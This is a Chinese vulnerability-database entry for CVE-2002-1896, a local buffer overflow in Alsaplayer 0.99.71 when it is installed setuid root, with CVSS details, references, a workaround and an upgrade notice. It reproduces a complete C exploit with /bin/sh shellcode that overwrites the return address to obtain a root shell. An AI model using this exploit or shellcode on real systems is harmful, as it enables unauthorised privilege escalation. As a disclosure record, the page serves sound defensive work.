CVE-2002-1896
CVSS7.2
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:31:47
NMCOE    

[原文]Buffer overflow in Alsaplayer 0.99.71, when installed setuid root, allows local users to execute arbitrary code via a long (1) -f or (2) -o command line argument.


[CNNVD]Alsplayer本地缓冲区溢出漏洞(CNNVD-200212-841)

        
        Alsaplayer是一款利用ALSA库和驱动的PCM播放器,可使用在Linux和Unix操作系统下。
        Alsaplayer在处理"add-on path"选项时存在问题,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        Alsaplayer在处理超长"add-on path"选项数据时缺少正确的边界缓冲区检查,本地攻击者利用这个漏洞可以破坏Alsaplayer堆栈内容,造成Alsaplayer崩溃,Alsaplayer默认不以setuid属性安装,但根据作者建议,要增加部分功能必须增加S位。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1896
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1896
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-841
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5767
(PATCH)  BID  5767
http://www.iss.net/security_center/static/10157.php
(PATCH)  XF  alsaplayer-command-line-bo(10157)
http://lists.grok.org.uk/pipermail/full-disclosure/2002-September/001730.html
(PATCH)  FULLDISC  20020920 Alsasound local b0f (not an issue if not setuid root)
http://cvs.sourceforge.net/viewcvs.py/alsaplayer/alsaplayer/app/Main.cpp.diff?r1=1.66&r2=1.67
(PATCH)  CONFIRM  http://cvs.sourceforge.net/viewcvs.py/alsaplayer/alsaplayer/app/Main.cpp.diff?r1=1.66&r2=1.67
http://alsaplayer.org/changelog.php3
(PATCH)  CONFIRM  http://alsaplayer.org/changelog.php3

- 漏洞信息

Alsplayer本地缓冲区溢出漏洞
高危 边界条件错误
2002-12-31 00:00:00 2005-10-20 00:00:00
本地  
        
        Alsaplayer是一款利用ALSA库和驱动的PCM播放器,可使用在Linux和Unix操作系统下。
        Alsaplayer在处理"add-on path"选项时存在问题,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        Alsaplayer在处理超长"add-on path"选项数据时缺少正确的边界缓冲区检查,本地攻击者利用这个漏洞可以破坏Alsaplayer堆栈内容,造成Alsaplayer崩溃,Alsaplayer默认不以setuid属性安装,但根据作者建议,要增加部分功能必须增加S位。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * chmod u-s /path/alsaplayer
        厂商补丁:
        Alsaplayer
        ----------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Alsaplayer Upgrade Alsaplayer-0.99.72
        
        http://www.alsaplayer.org/alsaplayer-0.99.72.tar.gz

- 漏洞信息 (21814)

Alsaplayer 0.99.71 Local Buffer Overflow Vulnerablity (EDBID:21814)
linux local
2002-09-20 Verified
0 zillion
N/A [点击下载]
source: http://www.securityfocus.com/bid/5767/info

Alsaplayer is a PCM player that utilizes the ALSA libraries and drivers. It is availabe for Linux and Unix platforms.

A vulnerability has been discovered in Alsaplayer. By specifying an overly long "add-on path", it is possible for an attacker to overrun the buffer, potentially allowing for execution of attacker-supplied code.

It should be noted that although Alsaplayer is not installed setuid by default, it is common practice for users to add a setuid bit to obtain certain functionality. 

/*
 * Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
 *
 * This program is not installed with special permissions by default.
 * However, the author himself does recommend to do so under certain
 * conditions:
 *
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000656.html
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
 *
 * Author: zillion[at]safemode.org (09/2002)
 *
 * Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
 *
 */

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 1056
#define NOP 0x90
#define RET 0xbfffe440

char shellcode[]=

"\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
"\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";

void print_error(char * burb) {
  printf(" Error: %s !\n",burb); exit(0);
}

void usage(char *progname) {
  printf("\n*--- -- -  Alsaplayer b0f exploit - -- ---*\n");
  printf("\nDefault: %s  -f /path/to/alsaplayer",progname);
  printf("\nOption : %s  -o <offset>\n\n",progname);
  exit(0);
}

int main(int argc, char **argv){

  char buffer[BUFFER_SIZE];
  char file[30];
  long retaddress;
  int arg,offset=500;

  struct stat sbuf;

  if(argc < 2) { usage(argv[0]); }

  while ((arg = getopt (argc, argv, "f:o:")) != -1){
    switch (arg){
    case 'f':
      strncpy(file,optarg,sizeof(file));
      if(stat(argv[2], &sbuf)) { print_error("No such file");}
      break;
    case 'o':
      offset = atoi(optarg);
      if(offset < 0) { print_error("Offset must be positive");}
      break;
    default :
      usage(argv[0]);
    }
  }

  retaddress = (RET - offset);
  memset(buffer,NOP,BUFFER_SIZE);
  memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

  /* Overwrite EBP and EIP */
  *(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
  *(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;

  if(execl(file,file,"-p",buffer,NULL) != 0) {
    print_error("Could not execute alsaplayer ");
  }

  return 0;

}
		

- 漏洞信息

59890
Alsaplayer Multiple Command Line Argument Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Vendor Verified

- 漏洞描述

- 时间线

2002-09-20 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 0.99.72 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站